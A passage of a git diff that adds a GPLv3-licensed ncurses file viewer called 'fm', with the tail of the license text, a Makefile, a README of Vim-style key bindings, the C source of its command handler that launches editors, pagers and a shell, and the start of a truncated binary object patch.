a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/bash/bbs/utils/fm/fm-1.0/Makefile b/bash/bbs/utils/fm/fm-1.0/Makefile new file mode 100644 index 0000000..b267022 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/Makefile @@ -0,0 +1,29 @@ +#CFLAGS = -g -Wall -pedantic -ansi $$(pkg-config --cflags glib-2.0) +#LDFLAGS = -lncursesw $$(pkg-config --libs glib-2.0) +CFLAGS = -O2 -Wall $$(pkg-config --cflags glib-2.0) +LDFLAGS = -s -lncursesw $$(pkg-config --libs glib-2.0) +PREFIX = /usr/local +SOURCES = fm.c fs.c ui.c cmd.c +HEADERS = fm.h +OBJECTS = ${SOURCES:.c=.o} +BINARY = fm + +#all: tags ${BINARY} +all: ${BINARY} + +${BINARY}: ${OBJECTS} + ${CC} ${LDFLAGS} -o ${BINARY} ${OBJECTS} + +${OBJECTS}: ${HEADERS} + +tags: ${SOURCES} ${HEADERS} + ctags ${SOURCES} ${HEADERS} + +install: all + install -D -m 755 -o root -g root ${BINARY} ${PREFIX}/bin/${BINARY} + +uninstall: + rm -f ${PREFIX}/bin/${BINARY} + +clean: + rm -f fm *.o tags diff --git a/bash/bbs/utils/fm/fm-1.0/README b/bash/bbs/utils/fm/fm-1.0/README new file mode 100644 index 0000000..f80bb86 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/README @@ -0,0 +1,69 @@ +FM (Fast Move: minimalistic ncurses file system viewer) +======================================================= +Small, simple and efficient file system viewer for the console. It offers fast navigation, easy invocation of your common tools (`Emacs`/`Vim`/`Xpdf`/`less`/...) and instant access to your favorite shell. + +### How to compile +It should run in any modern UNIX-like with minimal effort. You just need to have installed `ncursesw`, `glib` and its development headers. Then just run: + + make + +### Hacking +Internally the file system hierarchy is represented in a N-ary tree in which each node represents a file and its associated information. Additionally a double-linked list is used to represent the lines from screen. The `glib` is used for its N-ary trees and double-linked lists. Also some string manipulation functions are used for commodity. The rest is standard POSIX code. + +### Screenshot +![fm screenshot](imgs/fm-screenshot.png) + +### Invocation +Just run: + + fm [] + +### Keyboard commands +Most commands are based in text navigation of `Vim`. + +Moving the cursor: + + * j: select next file. + * k: select previous file. + * l: open selected directory (open the directory twice to show dot files). + * h: close current/selected directory. + * Ctrl + f: move one page forward the cursor. + * Ctrl + b: move one page backward the cursor. + * Ctrl + d: move half page forward the cursor. + * Ctrl + u: move half page backward the cursor. + * gg: select first file. + * G: select last file. + * zz: center selected file on screen. + * H: select first line from screen. + * L: select last line from screen. + * }: selects next file without going deeper in the hierarchy. + * {: selects previous file without going deeper in the hierarchy. + * [[: selects parent directory. + * f + : selects next file that begins with . + * F + : selects previous file that begins with . + +Running external programs: + + * l: opens the selected file with text pager/PDF viewer/PS viewer/image viewer (based on the file name extension). + * s: spawns the shell in the current directory (Use Ctrl + d to return). + * Enter: starts the editor with selected file. + +Miscellanea: + + * q: quits fm. + * Ctrl + l: redraws the entire screen and reloads the content of the current working directory. + * Ctrl + g: prints info from the selected like `ls -l`. + * Esc: clear info window. Set command repetitions to one. + +The default choices for the external programs are `vim`/`xpdf`/`gv`/`display`. They are configured from `fm.h`. Also the can be customized setting the environment variables `PAGER` and `EDITOR` from the shell. The commands `h j k l` can be repeated several times with just one keystroke if a number is given first, just like `Vim` commands repetitions. The cursor can also be moved with the arrows from the keyboard. + +### Project status +Version 1.0 finished, pending to add Linux `inotify` support. + +### License +The program is under the `GPLv3`. + +### Feedback +Send me an email if you have any question about the code, you found a bug or you have a feature request. Send it to: + + jimenezrick@gmail.com diff --git a/bash/bbs/utils/fm/fm-1.0/TODO b/bash/bbs/utils/fm/fm-1.0/TODO new file mode 100644 index 0000000..3c2379f --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/TODO @@ -0,0 +1 @@ +-Add inotify support (http://www.linuxjournal.com/article/8478). diff --git a/bash/bbs/utils/fm/fm-1.0/cmd.c b/bash/bbs/utils/fm/fm-1.0/cmd.c new file mode 100644 index 0000000..4e92baf --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/cmd.c @@ -0,0 +1,267 @@ +/* Copyright (C) 2008 Ricardo Catalinas Jiménez + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include "fm.h" + +void get_key(void) +{ + static int command_repetitions = -1; + static chtype previous_key = 0; + char *info; + chtype key; + + key = getch(); + if (key != KEY_RESIZE) + clear_info(); + + if (isdigit(key)) { + if (command_repetitions == -1) + command_repetitions = key - '0'; + else { + command_repetitions *= 10; + command_repetitions += key - '0'; + } + previous_key = key; + + return; + } + + if (previous_key == 'f') { + select_next_line_by_first_letter((char) key); + command_repetitions = -1; + previous_key = 0; + + return; + } else if (previous_key == 'F') { + select_previous_line_by_first_letter((char) key); + command_repetitions = -1; + previous_key = 0; + + return; + } + + if (command_repetitions == -1) + command_repetitions = 1; + + switch (key) { + case KEY_RESIZE: + endwin(); + init_curses(); + update_last_line(); + print_lines(first_line, last_line, TRUE); + select_line_inside_window(); + PRINT_LAST_INFO(); + break; + case 0x0c: /* Ctrl + l */ + clearok(curscr, TRUE); + if (!G_NODE_IS_ROOT(NODE(selected_line))) + select_file(NODE(selected_line)->parent); + update_directory(NODE(selected_line)); + break; + case 0x1b: /* Escape */ + command_repetitions = -1; + previous_key = 0; + + return; + case KEY_NPAGE: + case 0x06: /* Ctrl + f */ + select_line(last_line); + scroll_tree(command_repetitions * (getmaxy(tree_window) - 1)); + break; + case KEY_PPAGE: + case 0x02: /* Ctrl + b */ + select_line(first_line); + scroll_tree(command_repetitions * (-(getmaxy(tree_window) - 1))); + break; + case 0x04: /* Ctrl + d */ + scroll_tree(command_repetitions * getmaxy(tree_window) / 2); + select_nth_line(command_repetitions * getmaxy(tree_window) / 2); + break; + case 0x15: /* Ctrl + u */ + scroll_tree(command_repetitions * -getmaxy(tree_window) / 2); + select_nth_line(command_repetitions * -getmaxy(tree_window) / 2); + break; + case 'g': + if (previous_key == 'g') + select_line(lines); + break; + case 'G': + select_line(g_list_last(lines)); + break; + case 0x07: /* Ctrl + g */ + if ((info = get_file_info(NODE(selected_line))) != NULL) { + print_info(info, FALSE); + free(info); + } + break; + case 'z': + if (previous_key == 'z') + scroll_tree(g_list_position(first_line, selected_line) - + getmaxy(tree_window) / 2); + break; + case 'H': + select_line(first_line); + break; + case 'L': + select_line(last_line); + break; + case KEY_DOWN: + case 'j': + select_nth_line(command_repetitions); + break; + case KEY_UP: + case 'k': + select_nth_line(-command_repetitions); + break; + case KEY_RIGHT: + case 'l': + if (FILE(NODE(selected_line))->type == directory_type && + FILE(NODE(selected_line))->open == FALSE) + open_directory(NODE(selected_line)); + else if (FILE(NODE(selected_line))->type == directory_type && + FILE(NODE(selected_line))->open == TRUE && + FILE(NODE(selected_line))->show_dotfiles == FALSE) + show_dotfiles(NODE(selected_line)); + else if (FILE(NODE(selected_line))->type == file_type) + read_file(NODE(selected_line)); + break; + case KEY_LEFT: + case 'h': +close_parent: if (FILE(NODE(selected_line))->type == directory_type && + FILE(NODE(selected_line))->open == TRUE && + FILE(NODE(selected_line))->show_dotfiles == TRUE && + !G_NODE_IS_LEAF(NODE(selected_line)) && + FILE(g_node_first_child(NODE(selected_line)))->name[0] == '.') + hide_dotfiles(NODE(selected_line)); + else if (FILE(NODE(selected_line))->type == directory_type && + FILE(NODE(selected_line))->open == TRUE && + !G_NODE_IS_LEAF(NODE(selected_line))) + close_directory(NODE(selected_line)); + else if (!G_NODE_IS_ROOT(NODE(selected_line))) { + select_file(NODE(selected_line)->parent); + goto close_parent; + } + break; + case 'q': + endwin(); + exit(EXIT_SUCCESS); + break; + case '{': + if (g_node_prev_sibling(NODE(selected_line)) != NULL) + select_file(g_node_prev_sibling(NODE(selected_line))); + else + select_nth_line(-1); + break; + case '}': + if (g_node_next_sibling(NODE(selected_line)) != NULL) + select_file(g_node_next_sibling(NODE(selected_line))); + else + select_nth_line(1); + break; + case '[': + if (previous_key == '[' && !G_NODE_IS_ROOT(NODE(selected_line))) + select_file(NODE(selected_line)->parent); + break; + case 's': + if (!G_NODE_IS_ROOT(NODE(selected_line))) + run_shell(NODE(selected_line)->parent); + else + run_shell(NODE(selected_line)); + break; + case KEY_ENTER: + case 0x0d: /* Enter */ + if (FILE(NODE(selected_line))->type == file_type) + edit_file(NODE(selected_line)); + break; + } + if (key != KEY_RESIZE) { + command_repetitions = -1; + previous_key = key; + } +} + +void run_program(GNode *current_directory, char *program_name_variable, + char *default_program_name, char *arg, gboolean wait_proccess) +{ + char *path, *pwd, *program_name; + pid_t child; + int status; + + endwin(); + if ((child = fork()) != 0 && wait_proccess) { + unset_sighandlers(); + waitpid(child, &status, 0); + set_sighandlers(); + } else if (child == 0) { + path = get_path(current_directory); + if (chdir(path) == -1) + exit(EXIT_FAILURE); + pwd = g_strconcat("PWD=", path, NULL); + putenv(pwd); + free(path); + + if (!wait_proccess) { + close(0); + close(1); + close(2); + } + + if (program_name_variable != NULL && + (program_name = getenv(program_name_variable)) != NULL) { + if (execlp(program_name, program_name, arg, NULL) == -1) + exit(EXIT_FAILURE); + } else { + if (execlp(default_program_name, default_program_name, arg, NULL) == -1) + exit(EXIT_FAILURE); + } + } + init_curses(); + update_last_line(); + print_lines(first_line, last_line, TRUE); + select_line_inside_window(); + + if (wait_proccess && WIFEXITED(status) && WEXITSTATUS(status) != EXIT_SUCCESS) + PRINT_ERROR_INFO("Something failed when running the external program"); +} + +void run_shell(GNode *directory) +{ + run_program(directory, "SHELL", DEFAULT_SHELL, NULL, TRUE); +} + +void read_file(GNode *file) +{ + if (g_str_has_suffix(FILE(file)->name, ".pdf") || + g_str_has_suffix(FILE(file)->name, ".pdf.gz") || + g_str_has_suffix(FILE(file)->name, ".pdf.Z")) + run_program(file->parent, NULL, DEFAULT_PDF_VIEWER, FILE(file)->name, FALSE); + else if (g_str_has_suffix(FILE(file)->name, ".ps") || + g_str_has_suffix(FILE(file)->name, ".ps.gz") || + g_str_has_suffix(FILE(file)->name, ".ps.Z")) + run_program(file->parent, NULL, DEFAULT_PS_VIEWER, FILE(file)->name, FALSE); + else if (g_str_has_suffix(FILE(file)->name, ".jpg") || + g_str_has_suffix(FILE(file)->name, ".jpeg") || + g_str_has_suffix(FILE(file)->name, ".png") || + g_str_has_suffix(FILE(file)->name, ".gif")) + run_program(file->parent, NULL, DEFAULT_IMAGE_VIEWER, FILE(file)->name, FALSE); + else + run_program(file->parent, "PAGER", DEFAULT_PAGER, FILE(file)->name, TRUE); +} + +void edit_file(GNode *file) +{ + run_program(file->parent, "EDITOR", DEFAULT_EDITOR, FILE(file)->name, TRUE); +} diff --git a/bash/bbs/utils/fm/fm-1.0/cmd.o b/bash/bbs/utils/fm/fm-1.0/cmd.o new file mode 100644 index 0000000000000000000000000000000000000000..535fde0ddc3810d81d472571213ebc1f02a0caf8 GIT binary patch literal 6968 zcmb7IdvH|M9X^{ZkYeyg#77lNl!)MC35X~t6(y1AL_{6}GI3dU?`9V^yUX6YA&DY} z-7T)S>7X4t)|slb_0di{t<~{SJMtW@Gde}ev|9QHI=&Xs+9@NErPA*^_ngggBU8OI zx!?JI=l3}0_dDmFv)S0%ev{AV6Z-LqS~0|gxPOe>Geg2;Q7^uuRV6MhevmudR_r+9 zbevnv4m#QT;)dhShH)PsKXKxOd=+*Wg|DFNwAK~^ zb;TAqSMg=UJD?za%GWmPF*2lrx>BGGq)Op{opf5?e|lrK(|CSQVTZj+`={NfuDyQ* zv1;U>%-%9!PZEU#*%soris&G%$mxdT#ls!D2cCy#QOR5D{(+_MGh+-cd(`BHB2?mi 